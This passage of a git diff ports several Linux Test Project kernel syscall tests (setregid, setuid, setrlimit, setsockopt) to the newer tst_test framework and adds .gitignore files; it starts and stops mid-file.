+		    "After setregid(bin, -1),"}, {
+	&bin_gr.gr_gid, &bin_gr.gr_gid, &pass, &bin_gr, &bin_gr,
 		    "After setregid(bin, bin),"}, {
-	&sys.gr_gid, &neg_one, &fail, &bin, &bin, "After setregid(sys, -1)"},
-	{
-	&neg_one, &sys.gr_gid, &fail, &bin, &bin, "After setregid(-1, sys)"},
-	{
-	&sys.gr_gid, &sys.gr_gid, &fail, &bin, &bin,
-		    "After setregid(sys, sys)"},};
+	&daemon_gr.gr_gid, &neg_one, &fail, &bin_gr, &bin_gr,
+		    "After setregid(daemon, -1)"}, {
+	&neg_one, &daemon_gr.gr_gid, &fail, &bin_gr, &bin_gr,
+		    "After setregid(-1, daemon)"}, {
+	&daemon_gr.gr_gid, &daemon_gr.gr_gid, &fail, &bin_gr, &bin_gr,
+		    "After setregid(daemon, daemon)"},};
 
-int TST_TOTAL = sizeof(test_data) / sizeof(test_data[0]);
 
-static void setup(void);
-static void gid_verify(struct group *ru, struct group *eu, char *when);
-
-int main(int ac, char **av)
+static struct group get_group_fallback(const char *gr1, const char *gr2)
 {
-	int lc;
+	struct group *junk;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	junk = SAFE_GETGRNAM_FALLBACK(gr1, gr2);
+	GID16_CHECK(junk->gr_gid, setregid);
+	return *junk;
+}
 
-	setup();
+static struct group get_group(const char *group)
+{
+	struct group *junk;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		pid_t pid;
-		int status, i;
-
-		pass = 0;
-		flag = 0;
-
-		tst_count = 0;
-
-		/* set the appropriate ownership values */
-		if (SETREGID(NULL, sys.gr_gid, bin.gr_gid) == -1)
-			tst_brkm(TBROK, NULL, "Initial setregid failed");
-
-		SAFE_SETEUID(NULL, nobody.pw_uid);
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, NULL, "fork failed");
-		} else if (pid == 0) {	/* child */
-			for (i = 0; i < TST_TOTAL; i++) {
-				gid_t test_ret;
-				/* Set the real or effective group id */
-				TEST(SETREGID(NULL, *test_data[i].real_gid,
-					      *test_data[i].eff_gid));
-				test_ret = TEST_RETURN;
-
-				if (test_ret == *test_data[i].exp_ret) {
-					if (test_ret == neg_one) {
-						if (TEST_ERRNO != EPERM) {
-							tst_resm(TFAIL,
-								 "setregid(%d, %d) "
-								 "did not set errno "
-								 "value as expected.",
-								 *test_data
-								 [i].real_gid,
-								 *test_data
-								 [i].eff_gid);
-							fail = -1;
-							continue;
-						} else {
-							tst_resm(TPASS,
-								 "setregid(%d, %d) "
-								 "failed as expected.",
-								 *test_data
-								 [i].real_gid,
-								 *test_data
-								 [i].eff_gid);
-						}
-					} else {
-						tst_resm(TPASS,
-							 "setregid(%d, %d) "
-							 "succeeded as expected.",
-							 *test_data[i].real_gid,
-							 *test_data[i].eff_gid);
-					}
-				} else {
-					tst_resm(TFAIL, "setregid(%d, %d) "
-						 "did not return as expected.",
-						 *test_data[i].real_gid,
-						 *test_data[i].eff_gid);
-					flag = -1;
-				}
-				if (test_ret == -1) {
-				}
-
-				gid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].test_msg);
-			}
-			exit(flag);
-		} else {	/* parent */
-			waitpid(pid, &status, 0);
-			if (WEXITSTATUS(status) != 0) {
-				tst_resm(TFAIL, "test failed within "
-					 "child process.");
-			}
-		}
-	}
-
-	tst_exit();
+	junk = SAFE_GETGRNAM(group);
+	GID16_CHECK(junk->gr_gid, setregid);
+	return *junk;
 }
 
 static void setup(void)
 {
-	struct group *junk;
+	nobody = *SAFE_GETPWNAM("nobody");
 
-	tst_require_root();
+	nobody_gr = get_group_fallback("nobody", "nogroup");
+	daemon_gr = get_group("daemon");
+	bin_gr = get_group("bin");
 
-	tst_sig(FORK, DEF_HANDLER, NULL);
+	/* set the appropriate ownership values */
+	SAFE_SETREGID(daemon_gr.gr_gid, bin_gr.gr_gid);
+	SAFE_SETEUID(nobody.pw_uid);
+}
 
-	if (getpwnam("nobody") == NULL)
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
-	nobody = *(getpwnam("nobody"));
+static void test_success(struct tcase *tc)
+{
+	if (TST_RET != 0)
+		tst_res(TFAIL | TTERRNO, "setregid(%d, %d) failed unexpectedly",
+			*tc->real_gid, *tc->eff_gid);
+	else
+		tst_res(TPASS, "setregid(%d, %d) succeeded as expected",
+			*tc->real_gid, *tc->eff_gid);
+}
 
-#define GET_GID(group) do { \
-	junk = getgrnam(#group); \
-	if (junk == NULL) { \
-		tst_brkm(TBROK, NULL, "%s must be a valid group", #group); \
-	} \
-	GID16_CHECK(junk->gr_gid, setregid, NULL); \
-	group = *(junk); \
-} while (0)
-
-	GET_GID(users);
-	GET_GID(sys);
-	GET_GID(bin);
-
-	TEST_PAUSE;
+static void test_failure(struct tcase *tc)
+{
+	if (TST_RET == 0)
+		tst_res(TFAIL, "setregid(%d, %d) succeeded unexpectedly",
+			*tc->real_gid, *tc->eff_gid);
+	else if (TST_ERR == EPERM)
+		tst_res(TPASS, "setregid(%d, %d) failed as expected",
+			*tc->real_gid, *tc->eff_gid);
+	else
+		tst_res(TFAIL | TTERRNO,
+			"setregid(%d, %d) did not set errno value as expected",
+			*tc->real_gid, *tc->eff_gid);
 }
 
 static void gid_verify(struct group *rg, struct group *eg, char *when)
 {
 	if ((getgid() != rg->gr_gid) || (getegid() != eg->gr_gid)) {
-		tst_resm(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
+		tst_res(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
 			 when, getgid(), getegid());
-		tst_resm(TINFO, "Expected: real gid = %d; effective gid = %d",
+		tst_res(TINFO, "Expected: real gid = %d; effective gid = %d",
 			 rg->gr_gid, eg->gr_gid);
-		flag = -1;
 	} else {
-		tst_resm(TPASS, "real or effective gid was modified as expected");
+		tst_res(TPASS,
+			"real or effective gid was modified as expected");
 	}
 }
+
+static void run(unsigned int i)
+{
+	struct tcase *tc = &tcases[i];
+
+	/* Set the real or effective group id */
+	TEST(SETREGID(*tc->real_gid, *tc->eff_gid));
+
+	if (*tc->exp_ret == 0)
+		test_success(tc);
+	else
+		test_failure(tc);
+
+	gid_verify(tc->exp_real_usr, tc->exp_eff_usr, tc->test_msg);
+}
+
+void run_all(void)
+{
+	unsigned int i;
+
+	if (!SAFE_FORK()) {
+		for (i = 0; i < ARRAY_SIZE(tcases); i++)
+			run(i);
+	}
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.test_all = run_all,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/setregid/setregid04.c b/testcases/kernel/syscalls/setregid/setregid04.c
index 0e0aae7..d8e7c2d 100644
--- a/testcases/kernel/syscalls/setregid/setregid04.c
+++ b/testcases/kernel/syscalls/setregid/setregid04.c
@@ -1,20 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
  * Ported by John George
  */
 
@@ -22,20 +9,12 @@
  * Test setregid() when executed by root.
  */
 
-#include <errno.h>
-#include <pwd.h>
-#include <grp.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "test.h"
-#include "compat_16.h"
-
-TCID_DEFINE(setregid04);
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
 static gid_t neg_one = -1;
 
-static struct group users_gr, daemon_gr, root_gr, bin_gr;
+static struct group nobody_gr, daemon_gr, root_gr, bin_gr;
 
 /*
  * The following structure contains all test data.  Each structure in the array
@@ -52,8 +31,8 @@
 	{
 	&root_gr.gr_gid, &root_gr.gr_gid, &root_gr, &root_gr,
 		    "After setregid(root, root),"}, {
-	&users_gr.gr_gid, &neg_one, &users_gr, &root_gr,
-		    "After setregid(users, -1)"}, {
+	&nobody_gr.gr_gid, &neg_one, &nobody_gr, &root_gr,
+		    "After setregid(nobody, -1)"}, {
 	&root_gr.gr_gid, &neg_one, &root_gr, &root_gr,
 		    "After setregid(root,-1),"}, {
 	&neg_one, &neg_one, &root_gr, &root_gr,
@@ -62,87 +41,53 @@
 		    "After setregid(-1, root)"}, {
 	&root_gr.gr_gid, &neg_one, &root_gr, &root_gr,
 		    "After setregid(root, -1),"}, {
-	&daemon_gr.gr_gid, &users_gr.gr_gid, &daemon_gr, &users_gr,
-		    "After setregid(daemon, users)"}, {
-	&neg_one, &neg_one, &daemon_gr, &users_gr,
+	&daemon_gr.gr_gid, &nobody_gr.gr_gid, &daemon_gr, &nobody_gr,
+		    "After setregid(daemon, nobody)"}, {
+	&neg_one, &neg_one, &daemon_gr, &nobody_gr,
 		    "After setregid(-1, -1)"}, {
-	&neg_one, &users_gr.gr_gid, &daemon_gr, &users_gr,
-		    "After setregid(-1, users)"}
+	&neg_one, &nobody_gr.gr_gid, &daemon_gr, &nobody_gr,
+		    "After setregid(-1, nobody)"}
 };
 
-int TST_TOTAL = sizeof(test_data) / sizeof(test_data[0]);
-
-static void setup(void);
-static void cleanup(void);
-static void gid_verify(struct group *ru, struct group *eu, const char *when);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i;
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			/* Set the real or effective group id */
-			TEST(SETREGID(cleanup, *test_data[i].real_gid,
-				      *test_data[i].eff_gid));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TBROK, "setregid(%d, %d) failed",
-					 *test_data[i].real_gid,
-					 *test_data[i].eff_gid);
-			} else {
-				gid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].test_msg);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-#define SAFE_GETGROUP(GROUPNAME)	\
-	if (getgrnam(#GROUPNAME) == NULL) { \
-		tst_brkm(TBROK, NULL, "Couldn't find the `" #GROUPNAME "' group"); \
-	} \
-	GROUPNAME ## _gr = *(getgrnam(#GROUPNAME));
-
-static void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	SAFE_GETGROUP(root);
-	SAFE_GETGROUP(users);
-	SAFE_GETGROUP(daemon);
-	SAFE_GETGROUP(bin);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
 static void gid_verify(struct group *rg, struct group *eg, const char *when)
 {
 	if ((getgid() != rg->gr_gid) || (getegid() != eg->gr_gid)) {
-		tst_resm(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
+		tst_res(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
 			 when, getgid(), getegid());
-		tst_resm(TINFO, "Expected: real gid = %d; effective gid = %d",
+		tst_res(TINFO, "Expected: real gid = %d; effective gid = %d",
 			 rg->gr_gid, eg->gr_gid);
 	} else {
-		tst_resm(TPASS, "real or effective gid was modified as "
-			 "expected");
+		tst_res(TPASS,
+			"real or effective gid was modified as expected");
 	}
 }
+
+
+static void run(unsigned int i)
+{
+	/* Set the real or effective group id */
+	TEST(SETREGID(*test_data[i].real_gid, *test_data[i].eff_gid));
+
+	if (TST_RET == -1) {
+		tst_res(TBROK | TTERRNO, "setregid(%d, %d) failed",
+			*test_data[i].real_gid, *test_data[i].eff_gid);
+	} else {
+		gid_verify(test_data[i].exp_real_usr, test_data[i].exp_eff_usr,
+			   test_data[i].test_msg);
+	}
+}
+
+static void setup(void)
+{
+	root_gr = *SAFE_GETGRNAM("root");
+	nobody_gr = *SAFE_GETGRNAM_FALLBACK("nobody", "nogroup");
+	daemon_gr = *SAFE_GETGRNAM("daemon");
+	bin_gr = *SAFE_GETGRNAM("bin");
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(test_data),
+	.needs_root = 1,
+	.test = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/setresgid/.gitignore b/testcases/kernel/syscalls/setresgid/.gitignore
new file mode 100644
index 0000000..ecaa295
--- /dev/null
+++ b/testcases/kernel/syscalls/setresgid/.gitignore
@@ -0,0 +1,8 @@
+/setresgid01
+/setresgid01_16
+/setresgid02
+/setresgid02_16
+/setresgid03
+/setresgid03_16
+/setresgid04
+/setresgid04_16
diff --git a/testcases/kernel/syscalls/setresuid/.gitignore b/testcases/kernel/syscalls/setresuid/.gitignore
new file mode 100644
index 0000000..abdc6f4
--- /dev/null
+++ b/testcases/kernel/syscalls/setresuid/.gitignore
@@ -0,0 +1,10 @@
+/setresuid01
+/setresuid01_16
+/setresuid02
+/setresuid02_16
+/setresuid03
+/setresuid03_16
+/setresuid04
+/setresuid04_16
+/setresuid05
+/setresuid05_16
diff --git a/testcases/kernel/syscalls/setreuid/.gitignore b/testcases/kernel/syscalls/setreuid/.gitignore
new file mode 100644
index 0000000..5269060
--- /dev/null
+++ b/testcases/kernel/syscalls/setreuid/.gitignore
@@ -0,0 +1,14 @@
+/setreuid01
+/setreuid01_16
+/setreuid02
+/setreuid02_16
+/setreuid03
+/setreuid03_16
+/setreuid04
+/setreuid04_16
+/setreuid05
+/setreuid05_16
+/setreuid06
+/setreuid06_16
+/setreuid07
+/setreuid07_16
diff --git a/testcases/kernel/syscalls/setrlimit/.gitignore b/testcases/kernel/syscalls/setrlimit/.gitignore
new file mode 100644
index 0000000..e91f7e8
--- /dev/null
+++ b/testcases/kernel/syscalls/setrlimit/.gitignore
@@ -0,0 +1,5 @@
+/setrlimit01
+/setrlimit02
+/setrlimit03
+/setrlimit04
+/setrlimit05
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit02.c b/testcases/kernel/syscalls/setrlimit/setrlimit02.c
index 633279c..77adaf0 100644
--- a/testcases/kernel/syscalls/setrlimit/setrlimit02.c
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit02.c
@@ -42,12 +42,12 @@
 
 	TEST(setrlimit(tc->resource, tc->rlim));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "call succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_errno) {
+	if (TST_ERR != tc->exp_errno) {
 		tst_res(TFAIL | TTERRNO,
 			"setrlimit() should fail with %s got",
 			tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit03.c b/testcases/kernel/syscalls/setrlimit/setrlimit03.c
index d551c90..29b52aa 100644
--- a/testcases/kernel/syscalls/setrlimit/setrlimit03.c
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit03.c
@@ -50,12 +50,12 @@
 	struct tcase *tc = &tcases[n];
 
 	TEST(setrlimit(RLIMIT_NOFILE, tc->rlimt));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "call succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_err) {
+	if (TST_ERR != tc->exp_err) {
 		tst_res(TFAIL | TTERRNO, "setrlimit() should fail with %s, got",
 			tst_strerrno(tc->exp_err));
 	} else {
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit05.c b/testcases/kernel/syscalls/setrlimit/setrlimit05.c
index 7ea7d62..004a149 100644
--- a/testcases/kernel/syscalls/setrlimit/setrlimit05.c
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit05.c
@@ -26,6 +26,8 @@
 
 #include "tst_test.h"
 
+static void *bad_addr;
+
 static void verify_setrlimit(void)
 {
 	int status;
@@ -33,14 +35,14 @@
 
 	pid = SAFE_FORK();
 	if (!pid) {
-		TEST(setrlimit(RLIMIT_NOFILE, (void *) -1));
-		if (TEST_RETURN != -1) {
+		TEST(setrlimit(RLIMIT_NOFILE, bad_addr));
+		if (TST_RET != -1) {
 			tst_res(TFAIL, "setrlimit()  succeeded unexpectedly");
 			exit(0);
 		}
 
 		/* Usually, setrlimit() should return EFAULT */
-		if (TEST_ERRNO == EFAULT) {
+		if (TST_ERR == EFAULT) {
 			tst_res(TPASS | TTERRNO,
 				"setrlimit() failed as expected");
 		} else {
@@ -67,7 +69,13 @@
 	tst_res(TBROK, "child %s", tst_strstatus(status));
 }
 
+static void setup(void)
+{
+	bad_addr = tst_get_bad_addr(NULL);
+}
+
 static struct tst_test test = {
 	.test_all = verify_setrlimit,
 	.forks_child = 1,
+	.setup = setup,
 };
diff --git a/testcases/kernel/syscalls/setsid/.gitignore b/testcases/kernel/syscalls/setsid/.gitignore
new file mode 100644
index 0000000..813aaa3
--- /dev/null
+++ b/testcases/kernel/syscalls/setsid/.gitignore
@@ -0,0 +1 @@
+/setsid01
diff --git a/testcases/kernel/syscalls/setsockopt/.gitignore b/testcases/kernel/syscalls/setsockopt/.gitignore
new file mode 100644
index 0000000..d8fb0f3
--- /dev/null
+++ b/testcases/kernel/syscalls/setsockopt/.gitignore
@@ -0,0 +1,3 @@
+/setsockopt01
+/setsockopt02
+/setsockopt03
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt02.c b/testcases/kernel/syscalls/setsockopt/setsockopt02.c
index 22dc43a..474df24 100644
--- a/testcases/kernel/syscalls/setsockopt/setsockopt02.c
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt02.c
@@ -97,9 +97,9 @@
 
 	sk = SAFE_SOCKET(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
 	TEST(setsockopt(sk, SOL_PACKET, PACKET_VERSION, &ver, sizeof(ver)));
-	if (TEST_RETURN && TEST_ERRNO == EINVAL)
+	if (TST_RET && TST_ERR == EINVAL)
 		tst_brk(TCONF | TTERRNO, "TPACKET_V3 not supported");
-	if (TEST_RETURN)
+	if (TST_RET)
 		tst_brk(TBROK | TTERRNO, "setsockopt(sk, SOL_PACKET, PACKET_VERSION, TPACKET_V3)");
 
 	return setsockopt(sk, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
@@ -108,7 +108,7 @@
 static void good_size(void)
 {
 	TEST(create_skbuf(512));
-	if (TEST_RETURN)
+	if (TST_RET)
 		tst_brk(TBROK | TTERRNO, "Can't create ring buffer with good settings");
 
 	tst_res(TPASS, "Can create ring buffer with good settinegs");
@@ -117,9 +117,9 @@
 static void bad_size(void)
 {
 	TEST(create_skbuf(3U << 30));
-	if (TEST_RETURN && TEST_ERRNO != EINVAL)
+	if (TST_RET && TST_ERR != EINVAL)
 		tst_brk(TBROK | TTERRNO, "Unexpected setsockopt() error");
-	if (TEST_RETURN)
+	if (TST_RET)
 		tst_res(TPASS | TTERRNO, "Refused bad tp_sizeof_priv value");
 	else
 		tst_res(TFAIL, "Allowed bad tp_sizeof_priv value");
diff --git a/testcases/cve/cve-2016-4997.c b/testcases/kernel/syscalls/setsockopt/setsockopt03.c
similarity index 100%
rename from testcases/cve/cve-2016-4997.c
rename to testcases/kernel/syscalls/setsockopt/setsockopt03.c
diff --git a/testcases/kernel/syscalls/settimeofday/.gitignore b/testcases/kernel/syscalls/settimeofday/.gitignore
new file mode 100644
index 0000000..d00b7e4
--- /dev/null
+++ b/testcases/kernel/syscalls/settimeofday/.gitignore
@@ -0,0 +1,2 @@
+/settimeofday01
+/settimeofday02
diff --git a/testcases/kernel/syscalls/settimeofday/settimeofday01.c b/testcases/kernel/syscalls/settimeofday/settimeofday01.c
index c68fb37..7388c32 100644
--- a/testcases/kernel/syscalls/settimeofday/settimeofday01.c
+++ b/testcases/kernel/syscalls/settimeofday/settimeofday01.c
@@ -64,6 +64,7 @@
 #define	VAL_SEC		100
 #define	VAL_MSEC	100
 #define ACCEPTABLE_DELTA	500	/* in milli-seconds */
+#define USEC_PER_SEC    1000000L
 
 char *TCID = "settimeofday01";
 int TST_TOTAL = 1;
@@ -92,6 +93,8 @@
 		gettimeofday(&tp, NULL);
 		tp.tv_sec += VAL_SEC;
 		tp.tv_usec += VAL_MSEC;
+		if (tp.tv_usec >= USEC_PER_SEC)
+			tp.tv_usec = VAL_MSEC;
 
 		TEST(settimeofday(&tp, NULL));
 		if (TEST_RETURN == -1) {
diff --git a/testcases/kernel/syscalls/setuid/.gitignore b/testcases/kernel/syscalls/setuid/.gitignore
new file mode 100644
index 0000000..cf23ea2
--- /dev/null
+++ b/testcases/kernel/syscalls/setuid/.gitignore
@@ -0,0 +1,6 @@
+/setuid01
+/setuid01_16
+/setuid03
+/setuid03_16
+/setuid04
+/setuid04_16
diff --git a/testcases/kernel/syscalls/setuid/Makefile b/testcases/kernel/syscalls/setuid/Makefile
index f3ab657..6bd943a 100644
--- a/testcases/kernel/syscalls/setuid/Makefile
+++ b/testcases/kernel/syscalls/setuid/Makefile
@@ -12,12 +12,15 @@
 #  the GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
+
+#for compat_16.mk uses the compat_16_tst.h
+COMPAT_TST_16_H		:= 1
+
 include $(abs_srcdir)/../utils/compat_16.mk
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/setuid/setuid01.c b/testcases/kernel/syscalls/setuid/setuid01.c
index c6061b8..1b866a5 100644
--- a/testcases/kernel/syscalls/setuid/setuid01.c
+++ b/testcases/kernel/syscalls/setuid/setuid01.c
@@ -1,95 +1,47 @@
 /*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, see <http://www.gnu.org/licenses/>.
  */
 
-/*
- * AUTHOR		: William Roske
- * CO-PILOT		: Dave Fenner
+/* DESCRIPTION
+ *	This test will verify that setuid(2) syscall basic functionality.
+ *	setuid(2) returns a value of 0 and uid has been set successfully
+ *	as a normal or super user.
  */
 
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
+#include <unistd.h>
 #include <sys/types.h>
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-#include "test.h"
-#include "compat_16.h"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "setuid01";
-int TST_TOTAL = 1;
-
-static uid_t uid;
-
-int main(int ac, char **av)
+static void verify_setuid(void)
 {
-	int lc;
+	uid_t uid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	/* Set the effective user ID to the current real uid */
+	uid = getuid();
+	UID16_CHECK(uid, setuid);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		/* Set the effective user ID to the current real uid */
-		uid = getuid();
-		UID16_CHECK(uid, setuid, cleanup);
-
-		TEST(SETUID(cleanup, uid));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "setuid -  Set the effective user ID to the current real uid failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "setuid -  Set the effective user ID to the current real uid returned %ld",
-					 TEST_RETURN);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
+	TEST(SETUID(uid));
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO, "setuid(%d) failed", uid);
+	else
+		tst_res(TPASS, "setuid(%d) successfully", uid);
 }
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = verify_setuid,
+};
diff --git a/testcases/kernel/syscalls/setuid/setuid02.c b/testcases/kernel/syscalls/setuid/setuid02.c
deleted file mode 100644
index c515a1b..0000000
--- a/testcases/kernel/syscalls/setuid/setuid02.c
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: setuid02.c,v 1.6 2009/11/02 13:57:18 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: setuid02
- *
- *    EXECUTED BY	: root
- *
- *    TEST TITLE	: Basic test for setuid(2) as root
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 05/14/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) setuid(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the setuid(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	setuid(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-
-#include "test.h"
-#include "compat_16.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "setuid02";
-int TST_TOTAL = 1;
-
-uid_t uid;			/* current user id */
-
-int main(int ac, char **av)
-{
-	int lc;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	uid = getuid();
-	UID16_CHECK(uid, setuid, cleanup);
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * TEST CASE:
-		 *  Set the effective user ID to the current real uid
-		 */
-
-		/* Call setuid(2) */
-		TEST(SETUID(cleanup, uid));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
